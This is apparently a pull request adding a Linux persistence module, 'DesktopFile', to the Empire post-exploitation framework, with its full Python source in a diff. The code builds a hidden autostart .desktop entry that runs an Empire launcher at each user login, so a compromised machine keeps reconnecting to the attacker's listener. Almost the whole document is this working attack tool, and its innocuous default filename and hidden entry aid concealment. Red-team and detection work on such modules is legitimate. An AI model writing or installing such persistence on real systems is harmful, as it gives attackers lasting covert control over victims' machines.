Add Linux Persistence through Autostart

Creating persistence by adding the python launcher to the ~/.config/autostart directory. This is based on the CrossRat analysis (https://digitasecurity.com/blog/2018/01/23/crossrat/) and the other links in the comments.
Tested in Ubuntu 16 and Oracle Linux 7.

lib/modules/python/persistence/multi/desktopfile

@@ -0,0 +1,114 @@
+import base64
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        # metadata info about the module, not modified during runtime
+        self.info = {
+            # name for the module that will appear in module menus
+            'Name': 'DesktopFile',
+
+            # list of one or more authors for the module
+            'Author': ['@jarrodcoulter'],
+
+            # more verbose multi-line description of the module
+            'Description': ('Installs an Empire launcher script in ~/.config/autostart.'),
+
+            # True if the module needs to run in the background
+            'Background' : False,
+
+            # File extension to save the file as
+            'OutputExtension' : None,
+
+            # if the module needs administrative privileges
+            'NeedsAdmin' : False,
+
+            # True if the method doesn't touch disk/is reasonably opsec safe
+            'OpsecSafe' : False,
+
+            # the module language
+            'Language' : 'python',
+
+            # the minimum language version needed
+            'MinLanguageVersion' : '2.6',
+
+            # list of any references/other comments
+            'Comments': [https://digitasecurity.com/blog/2018/01/23/crossrat/
+            https://specifications.freedesktop.org/desktop-entry-spec/latest/ar01s07.html, 
+            https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/]
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent' : {
+                # The 'Agent' option is the only one that MUST be in a module
+                'Description'   :   'Agent to execute module on.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Listener' : {
+                'Description'   :   'Listener to use.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'FileName' : {
+                'Description'   :   'File name without extension that you would like created in ~/.config/autostart/ folder.',
+                'Required'      :   False,
+                'Value'         :   'sec_start'
+            },
+
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        # During instantiation, any settable option parameters
+        #   are passed as an object set to the module and the
+        #   options dictionary is automatically set. This is mostly
+        #   in case options are passed on the command line
+        if params:
+            for param in params:
+                # parameter format is [Name, Value]
+                option, value = param
+                if option in self.options:
+                    self.options[option]['Value'] = value
+
+    def generate(self, obfuscate=False, obfuscationCommand=""):
+
+        FileName = self.options['FileName']['Value']
+        listenerName = self.options['Listener']['Value']
+        launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
+        launcher = launcher.strip('echo').strip(' | /usr/bin/python &')
+        dtSettings = """
+[Desktop Entry]
+Name=%s
+Exec=python -c %s
+Type=Application
+NoDisplay=True
+""" % (FileName, launcher)
+        script = """
+import subprocess
+import sys
+import os
+dtFile = \"\"\"
+%s
+\"\"\"
+home = os.path.expanduser("~")
+FilePath = home + "/.config/autostart/"
+WriteFile = FilePath + "%s.desktop"
+
+if not os.path.exists(FilePath):
+    os.makedirs(FilePath)
+e = open(WriteFile,'wb')
+e.write(dtFile)
+e.close()
+
+print "\\n[+] Persistence has been installed: ~/.config/autostart/%s"
+print "\\n[+] Empire daemon has been written to %s"
+
+""" % (dtSettings, FileName, FileName, FileName)
+
+        return script